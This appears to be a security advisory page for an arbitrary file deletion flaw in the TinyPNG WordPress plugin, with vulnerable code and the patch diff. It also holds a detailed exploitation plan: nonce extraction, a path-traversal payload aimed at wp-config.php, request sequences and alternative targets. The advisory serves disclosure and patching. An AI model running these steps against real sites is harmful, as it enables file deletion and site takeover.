TinyPNG <= 3.6.13 - Authenticated (Author+) Arbitrary File Deletion via 'convert.path' in 'tiny_compress_images' Post Meta
Description
The TinyPNG – JPEG, PNG & WebP image compression plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_converted_image_size function in all versions up to, and including, 3.6.13. This makes it possible for authenticated attackers, with author-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). An attacker can exploit this by injecting an arbitrary server file path into the 'convert.path' field of the 'tiny_compress_images' post meta on an attachment they own, then triggering attachment deletion to invoke the vulnerable code path.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=3.6.13What Changed in the Fix
Changes introduced in v3.6.14
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-7311 ## 1. Vulnerability Summary The **TinyPNG – JPEG, PNG & WebP image compression** plugin (<= 3.6.13) is vulnerable to **Authenticated Arbitrary File Deletion** via path traversal. The vulnerability exists in the `delete_converted_image_size` method of the…
Show full research plan
Exploitation Research Plan - CVE-2026-7311
1. Vulnerability Summary
The TinyPNG – JPEG, PNG & WebP image compression plugin (<= 3.6.13) is vulnerable to Authenticated Arbitrary File Deletion via path traversal. The vulnerability exists in the delete_converted_image_size method of the Tiny_Image_Size class.
The plugin fails to validate or sanitize the file path stored in the tiny_compress_images post metadata (specifically the convert.path field) before passing it to the PHP unlink() function. Since the metadata key is not protected (it lacks the _ prefix), an authenticated user with Author-level permissions can modify this metadata for attachments they own and then delete the attachment to trigger the deletion of an arbitrary file on the server (e.g., wp-config.php).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.phpor the WordPress REST API (/wp-json/wp/v2/media/<id>). - Vulnerable Action: Attachment deletion, which triggers the
delete_attachmenthook. - Payload Carrier: The
tiny_compress_imagespost meta field. - Authentication Level: Author or higher (any user capable of uploading and deleting their own media).
- Preconditions:
- The attacker must be able to update post meta for an attachment they own.
- The plugin must be active to register the
delete_attachmenthook.
3. Code Flow
- Entry Point: An Author deletes an attachment they own via the Media Library or REST API.
- Hook Trigger: WordPress core invokes
do_action('delete_attachment', $attachment_id). - Plugin Callback:
Tiny_Plugin::clean_attachment($attachment_id, $post)is called (registered insrc/class-tiny-plugin.php). - Meta Retrieval (Inferred):
clean_attachmentretrieves thetiny_compress_imagesmetadata for the attachment. - Size Iteration (Inferred): The plugin iterates through the compressed sizes stored in the meta array.
- Object Instantiation: For each size, a
Tiny_Image_Sizeobject is created, and its$metaproperty is populated with the size's metadata. - Vulnerable Call:
Tiny_Image_Size::delete_converted_image_size()is called (defined insrc/class-tiny-image-size.php). - Sink:
delete_converted_image_sizecallsconverted_image_exists().converted_image_exists()checksfile_exists($this->meta['convert']['path']).- If true,
unlink($this->meta['convert']['path'])is executed.
4. Nonce Acquisition Strategy
To update post meta and delete the attachment via the REST API, a wp_rest nonce is required.
- Identify Script Localization: The plugin localizes scripts in
Tiny_Plugin::enqueue_scripts. However, standard WordPress REST API nonces are more reliable for this exploit. - Access Dashboard: Navigate to
wp-admin/index.php. - Extract Nonce: Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject:browser_eval("window.wpApiSettings?.nonce")
- Alternative: The plugin's own nonce is available at
window.tinyCompress?.nonce, but this is intended for the plugin's specific AJAX actions. The standard REST nonce is preferred for modifying media.
5. Exploitation Strategy
The exploit involves three phases: Upload, Inject, and Trigger.
Phase 1: Upload Media
Upload a dummy image to get an attachment ID.
- Method:
POST /wp-json/wp/v2/media - Headers:
Content-Disposition: attachment; filename="exploit.png"Content-Type: image/pngX-WP-Nonce: [REST_NONCE]
Phase 2: Inject Malicious Metadata
Update the tiny_compress_images meta for the new attachment. The payload uses a path traversal string to target wp-config.php.
- Method:
POST /wp-json/wp/v2/media/<attachment_id> - Headers:
Content-Type: application/json,X-WP-Nonce: [REST_NONCE] - Payload:
{
"meta": {
"tiny_compress_images": {
"exploit_size": {
"convert": {
"path": "../../../../wp-config.php"
}
}
}
}
}
Note: If the REST API does not allow updating this meta directly because it's not registered, use the post.php method:
- Method:
POST /wp-admin/post.php - Body (URL-encoded):
action=editpost&post_ID=<id>&meta_input[tiny_compress_images][exploit][convert][path]=../../../../wp-config.php&_wpnonce=[POST_NONCE]
Phase 3: Trigger Deletion
Delete the attachment to invoke the unlink() call.
- Method:
DELETE /wp-json/wp/v2/media/<attachment_id>?force=true - Headers:
X-WP-Nonce: [REST_NONCE]
6. Test Data Setup
- User: Create a user with the
authorrole. - Target File: Ensure
wp-config.phpexists in the WordPress root. - Plugin Config: The plugin should be installed and activated. No API key is required as the vulnerable code path is in the cleanup logic, not the compression logic.
7. Expected Results
- Success Indicator: The HTTP response for the
DELETErequest returns200 OK. - Primary Effect: The
wp-config.phpfile is removed from the filesystem. - Secondary Effect: Subsequent attempts to access the site will redirect to the WordPress installation page (
wp-admin/setup-config.php), indicating the configuration file is missing.
8. Verification Steps
- Check Filesystem: Run
wp eval "echo file_exists(ABSPATH . 'wp-config.php') ? 'exists' : 'deleted';"using WP-CLI. - Verify Meta: Before deletion, check if the meta was set correctly:
wp post meta get <attachment_id> tiny_compress_images.
9. Alternative Approaches
- Absolute Paths: If the absolute path to the webroot is known (e.g.,
/var/www/html/), use/var/www/html/wp-config.phpinstead of traversal. - AJAX Entry Point: If the REST API is restricted, use the
wp_ajax_save-attachmentaction:POST /wp-admin/admin-ajax.php- Body:
action=save-attachment&id=<id>&changes[meta_input][tiny_compress_images][...][path]=...
- Different Targets: If
wp-config.phpis read-only, target.htaccessor plugin files to disable security controls or cause a Denial of Service.
Summary
The TinyPNG plugin for WordPress is vulnerable to arbitrary file deletion because it fails to validate file paths stored in the 'tiny_compress_images' post metadata before passing them to the PHP unlink() function. Authenticated attackers with Author-level permissions can exploit this by setting a path traversal payload in an attachment's metadata and then deleting the attachment, potentially leading to site takeover if critical files like wp-config.php are deleted.
Vulnerable Code
// src/class-tiny-image-size.php line 219 public function converted_image_exists() { if ( ! $this->converted() ) { return false; } return file_exists( $this->meta['convert']['path'] ); } --- // src/class-tiny-image-size.php line 238 public function delete_converted_image_size() { if ( $this->converted_image_exists() ) { unlink( $this->meta['convert']['path'] ); } }
Security Fix
@@ -4,7 +4,7 @@ Tags: compress images, compression, image size, page speed, performance Requires at least: 4.0 Tested up to: 7.0 -Stable tag: 3.6.13 +Stable tag: 3.6.14 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html @@ -174,6 +174,10 @@ A: When the conversion feature is enabled (to convert images to AVIF or WebP), each image will use double the number of credits: one for compression and one for format conversion. == Changelog == += 3.6.14 = +* fix: added check for valid path before deleting converted image +* fix: use hook uninstall_plugin instead of uninstall.php to prevent dependency deletion + = 3.6.13 = * fix: will copy sizes attribute to picture element * fix: will no longer clear logs on each save settings @@ -171,4 +171,28 @@ return $wp_filesystem; } + + /** + * Polyfill for `str_starts_with()` function added in PHP 8.0. + * + * Performs a case-sensitive check indicating if + * the haystack begins with needle. + * + * @since 5.9.0 + * + * @param string $haystack The string to search in. + * @param string $needle The substring to search for in the `$haystack`. + * @return bool True if `$haystack` starts with `$needle`, otherwise false. + */ + public static function str_starts_with( $haystack, $needle ) { + if ( function_exists( 'str_starts_with' ) ) { + return str_starts_with( $haystack, $needle ); + } + + if ( '' === $needle ) { + return true; + } + + return 0 === strpos( $haystack, $needle ); + } } @@ -240,9 +240,27 @@ return $this->_duplicate_of_size; } + /** + * Deletes the converted image file for this image size. + * + * @return void + */ public function delete_converted_image_size() { - if ( $this->converted_image_exists() ) { - unlink( $this->meta['convert']['path'] ); + if ( ! $this->converted_image_exists() ) { + return; + } + $upload_dir = wp_upload_dir(); + $convert_real_path = realpath( $this->meta['convert']['path'] ); + $real_basedir = realpath( $upload_dir['basedir'] ); + + if ( + $convert_real_path && + Tiny_Helpers::str_starts_with( + $convert_real_path, + trailingslashit( $real_basedir ) + ) + ) { + unlink( $convert_real_path ); } } @@ -18,7 +18,7 @@ * Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ class Tiny_Plugin extends Tiny_WP_Base { - const VERSION = '3.6.8'; + const VERSION = '3.6.14'; const MEDIA_COLUMN = self::NAME; const DATETIME_FORMAT = 'Y-m-d G:i:s'; @@ -861,6 +861,14 @@ $tiny_image->delete_converted_image(); } + /** + * Runs on uninstall + * + * @return void + */ + public static function uninstall() { + Tiny_Apache_Rewrite::uninstall_rules(); + } public function mark_image_as_compressed() { $response = $this->validate_ajax_attachment_request(); @@ -2,7 +2,7 @@ /** * Plugin Name: TinyPNG - JPEG, PNG & WebP image compression * Description: Speed up your website. Optimize your JPEG, PNG, and WebP images automatically with TinyPNG. - * Version: 3.6.13 + * Version: 3.6.14 * Author: TinyPNG * Author URI: https://tinypng.com * Text Domain: tiny-compress-images @@ -38,3 +38,8 @@ } $tiny_plugin = new Tiny_Plugin(); + +register_uninstall_hook( + __FILE__, + array( 'Tiny_Plugin', 'uninstall' ) +); Only in /home/deploy/wp-safety.org/data/plugin-versions/tiny-compress-images/3.6.13: uninstall.php
Exploit Outline
The exploit requires an authenticated user with Author level privileges or higher. 1. The attacker uploads a legitimate media file to obtain a valid attachment ID. 2. Using the REST API or the post.php editor, the attacker updates the 'tiny_compress_images' post metadata for their attachment. Since the meta key is not protected by an underscore prefix, it can be manipulated to include a path traversal string (e.g., '../../../../wp-config.php') in the 'convert.path' field. 3. The attacker deletes the attachment, which triggers the 'delete_attachment' hook. This hook executes the plugin's cleanup logic, eventually calling unlink() on the malicious path defined in the metadata, resulting in the deletion of the target file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.